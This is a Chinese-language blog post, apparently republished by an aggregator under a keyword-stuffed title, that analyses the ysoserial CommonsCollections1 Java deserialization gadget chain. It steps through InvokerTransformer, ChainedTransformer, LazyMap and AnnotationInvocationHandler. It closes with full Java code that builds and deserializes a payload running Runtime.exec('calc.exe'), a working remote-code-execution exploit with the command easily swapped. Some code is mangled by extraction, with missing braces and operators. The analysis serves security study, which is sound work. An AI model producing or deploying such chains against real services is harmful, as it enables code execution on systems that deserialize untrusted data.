ysoserial CommonsCollections1 分析(introduction to discourse analysis)

  本篇文章为你整理了ysoserial CommonsCollections1 分析(introduction to discourse analysis)的详细内容,包含有methods of critical discourse analysis introduction to discourse analysis confession of a miseducated分析 introductory functional analysis ysoserial CommonsCollections1 分析,希望能帮助你了解 ysoserial CommonsCollections1 分析。

  

public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) {

 

   super();

   iMethodName = methodName;

   iParamTypes = paramTypes;

   iArgs = args;

   }
 

 

  

public Object transform(Object input) {
 if (input == null) {
 return null;
 }
 try {
 Class cls = input.getClass();
 Method method = cls.getMethod(iMethodName, iParamTypes);
 return method.invoke(input, iArgs);
 } catch (NoSuchMethodException ex) {
 throw new FunctorException("InvokerTransformer: The method " + iMethodName + " on " + input.getClass() + " does not exist");
 } catch (IllegalAccessException ex) {
 throw new FunctorException("InvokerTransformer: The method " + iMethodName + " on " + input.getClass() + " cannot be accessed");
 } catch (InvocationTargetException ex) {
 throw new FunctorException("InvokerTransformer: The method " + iMethodName + " on " + input.getClass() + " threw an exception", ex);
 }
}

 

  

 

 

  transform方法实现了完整的反射,通过InvokerTransformer构造方法传入方法和参数。

  所以这一步的利用链

  

InvokerTransformer invokerTransformer = new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc.exe"}).transform(runtime);

 

  2、InvokerTransformer的transform的调用,在ChainedTransformer的transform实现。

  public ChainedTransformer(Transformer[] transformers) {
super();
iTransformers = transformers;
}
public Object transform(Object object) {
for (int i = 0; i iTransformers.length; i++) {
object = iTransformers[i].transform(object);
}
return object;
}

  如果Transformer[]里面的对象是:

  Transformer[0]:new ConstantTransformer(runtime)
Transformer[1]:invokerTransformer

  第一次循环:(new ConstantTransformer(runtime)).transform() runtime对象返回给object
第二次循环:invokerTransformer.transform(runtime)

  所以这一步的利用链:
ChainedTransformer chainedTransformer = new ChainedTransformer(new Transformer[]{new ConstantTransformer(runtime),invokerTransformer});
chainedTransformer.transform(1);

  
3、ChainedTransformer的transform谁来调?LazyMap的get方法存在transform调用(key不存在的时候)。

  

public class LazyMap

 

   extends AbstractMapDecorator

   implements Map, Serializable {

   public static Map decorate(Map map, Transformer factory) {

   return new LazyMap(map, factory);

   protected LazyMap(Map map, Transformer factory) {

   super(map);

   if (factory == null) {

   throw new IllegalArgumentException("Factory must not be null");

   this.factory = factory;

  
private void writeObject(ObjectOutputStream out) throws IOException {

   out.defaultWriteObject();

   out.writeObject(map);

   private void readObject(ObjectInputStream in) throws IOException, ClassNotFoundException {

   in.defaultReadObject();

   map = (Map) in.readObject();

   //-----------------------------------------------------------------------

   public Object get(Object key) {

   // create value for key if key is not currently in the map

   if (map.containsKey(key) == false) {

   Object value = factory.transform(key);

   map.put(key, value);

   return value;

   return map.get(key);

  }

 

  通过decorate方法,修改this.factory为chainedTransformer对象,最后通过get不存在的key调用chainedTransformer的transform
所以利用链
HashMap hashMap = new HashMap();
LazyMap lazyMap = (LazyMap) LazyMap.decorate(hashMap,chainedTransformer);
lazyMap.get(1);

  
4、lazyMap的get谁来调用?这里面用的AnnotationInvocationHandler的invoke,该方法存在某个属性的get,属性可通过构造方法改变。

  

class AnnotationInvocationHandler implements InvocationHandler, Serializable {

 

   private static final long serialVersionUID = 6182022883658399397L;

   private final Class ? extends Annotation type;

   private final Map String, Object memberValues;

   AnnotationInvocationHandler(Class ? extends Annotation type, Map String, Object memberValues) {

   Class ? [] superInterfaces = type.getInterfaces();

   if (!type.isAnnotation()

   superInterfaces.length != 1

   superInterfaces[0] != java.lang.annotation.Annotation.class)

   throw new AnnotationFormatError("Attempt to create proxy for a non-annotation type.");

   this.type = type;

   this.memberValues = memberValues;

   public Object invoke(Object proxy, Method method, Object[] args) {

   String member = method.getName();

   Class ? [] paramTypes = method.getParameterTypes();

   // Handle Object and Annotation methods

   if (member.equals("equals") paramTypes.length == 1

   paramTypes[0] == Object.class)

   return equalsImpl(args[0]);

   if (paramTypes.length != 0)

   throw new AssertionError("Too many parameters for an annotation method");

   switch(member) {

   case "toString":

   return toStringImpl();

   case "hashCode":

   return hashCodeImpl();

   case "annotationType":

   return type;

   // Handle annotation member accessors

   Object result = memberValues.get(member);

   if (result == null)

   throw new IncompleteAnnotationException(type, member);

   if (result instanceof ExceptionProxy)

   throw ((ExceptionProxy) result).generateException();

   if (result.getClass().isArray() Array.getLength(result) != 0)

   result = cloneArray(result);

   return result;

   * This method, which clones its array argument, would not be necessary

   * if Cloneable had a public clone method.

   */
 

 

  因为AnnotationInvocationHandler类非public,通过反射调用
Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor declaredConstructor = c.getDeclaredConstructor(Class.class, Map.class);
declaredConstructor.setAccessible(true);

  InvocationHandler handler = (InvocationHandler) declaredConstructor.newInstance(Retention.class, lazyMap);
对象初始化memberValues,得到对象handler,接下来就是让handler对象执行invoke
Map proxyMap = (Map) Proxy.newProxyInstance(Map.class.getClassLoader(), new Class[]{Map.class}, handler);

  proxyMap已经有了,那么应该怎么触发handler执行方法,来调用invoke方法
AnnotationInvocationHandler的readobject方法,存在对memberValues执行entrySet()
所以用proxyMap对象重新生成一个AnnotationInvocationHandler对象
InvocationHandler handle = (InvocationHandler) declaredConstructor.newInstance(Retention.class, proxyMap);
handle

  


private void readObject(java.io.ObjectInputStream s)

 

   throws java.io.IOException, ClassNotFoundException {

   s.defaultReadObject();

   // Check to make sure that types have not evolved incompatibly

   AnnotationType annotationType = null;

   try {

   annotationType = AnnotationType.getInstance(type);

   } catch(IllegalArgumentException e) {

   // Class is no longer an annotation type; time to punch out

   throw new java.io.InvalidObjectException("Non-annotation type in annotation serial stream");

   Map String, Class ? memberTypes = annotationType.memberTypes();

   // If there are annotation members without values, that

   // situation is handled by the invoke method.

   for (Map.Entry String, Object memberValue : memberValues.entrySet()) {

   String name = memberValue.getKey();

   Class ? memberType = memberTypes.get(name);

   if (memberType != null) { // i.e. member still exists

   Object value = memberValue.getValue();

   if (!(memberType.isInstance(value)

   value instanceof ExceptionProxy)) {

   memberValue.setValue(

   new AnnotationTypeMismatchExceptionProxy(

   value.getClass() + "[" + value + "]").setMember(

   annotationType.members().get(name)));

   }
最后AnnotationInvocationHandler对象反序列化,执行readobject也就触发了proxyMap的invoke方法
 

 

  要解决的问题:Runtime类未实现Serializable,需要使用反射调用,反射方法用什么来触发执行?

  Runtime runtime = Runtime.getRuntime();
runtime.exec("calc.exe");

  反射方式实现:
Class cr = Class.forName("java.lang.Runtime");
Method getRuntime = cr.getMethod("getRuntime", null);
Runtime runtime = (Runtime) getRuntimemethod.invoke(null, null);
Method execmethod = cr.getMethod("exec", String.class);
execmethod.invoke(runtimemethod,"calc.exe");

  反射方法通过InvokerTransformer实现
Class cr = Class.forName("java.lang.Runtime");
Method getRuntimemethod = (Method) new InvokerTransformer("getMethod", new Class[]{String.class,Class[].class}, new Object[]{"getRuntime", null}).transform(cr);
Runtime runtimemethod = (Runtime) new InvokerTransformer("invoke", new Class[]{Object.class,Object[].class}, new Object[]{null, null}).transform(getRuntimemethod);
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc.exe"}).transform(runtimemethod);

  ChainedTransformer中的transform正好实现了这组链的调用

  

public Object transform(Object object) {

 

   for (int i = 0; i iTransformers.length; i++) {

   object = iTransformers[i].transform(object);

   return object;

   }
所以最后runtime的实现利用链:
 

 

  Transformer[] transformers = {
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc.exe"})
};
ChainedTransformer chainedTransformerruntime = new ChainedTransformer(transformers);
chainedTransformerruntime.transform(cr);

  
Transformer[] transformers = {

   new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),

   new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),

   new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc.exe"})

   ChainedTransformer chainedTransformerruntime = new ChainedTransformer(transformers);

   ChainedTransformer chainedTransformer = new ChainedTransformer(new Transformer[]{new ConstantTransformer(cr),chainedTransformerruntime});

   HashMap hashMap = new HashMap();

   LazyMap lazyMap = (LazyMap) LazyMap.decorate(hashMap,chainedTransformer);

   Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");

   Constructor declaredConstructor = c.getDeclaredConstructor(Class.class, Map.class);

   declaredConstructor.setAccessible(true);

   InvocationHandler handler = (InvocationHandler) declaredConstructor.newInstance(Retention.class, lazyMap);

   Map proxyMap = (Map) Proxy.newProxyInstance(Map.class.getClassLoader(), new Class[]{Map.class}, handler);

   InvocationHandler handle = (InvocationHandler) declaredConstructor.newInstance(Retention.class, proxyMap);

   ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("D:\\cc1.ser"));

   objectOutputStream.writeObject(handle);

   ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream("D:\\cc1.ser"));

   objectInputStream.readObject();

  }

 

 

  

  以上就是ysoserial CommonsCollections1 分析(introduction to discourse analysis)的详细内容,想要了解更多 ysoserial CommonsCollections1 分析的内容,请持续关注盛行IT软件开发工作室。

郑重声明:本文由网友发布,不代表盛行IT的观点,版权归原作者所有,仅为传播更多信息之目的,如有侵权请联系,我们将第一时间修改或删除,多谢。

留言与评论(共有 条评论)
   
验证码: